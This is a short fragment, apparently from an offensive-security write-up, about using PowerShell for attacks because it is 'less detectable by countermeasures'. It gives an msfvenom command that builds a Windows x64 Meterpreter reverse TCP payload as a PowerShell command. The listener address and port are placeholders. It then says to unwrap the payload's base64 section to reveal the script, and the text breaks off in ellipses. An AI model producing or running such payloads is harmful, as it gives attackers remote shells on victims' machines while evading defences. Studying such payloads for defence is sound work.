Powershell is a scripting language developed by Microsoft. It provides API access to almost everything in a Windows platform, less detectable by countermeasures, easy to learn, therefore it is ...
msfvenom -p windows/x64/meterpreter/reverse_tcp -f psh-cmd LHOST=x.x.x.x LPORT=xxx Unwrap the base64 part inside the payload to reveal the actual powershell script ...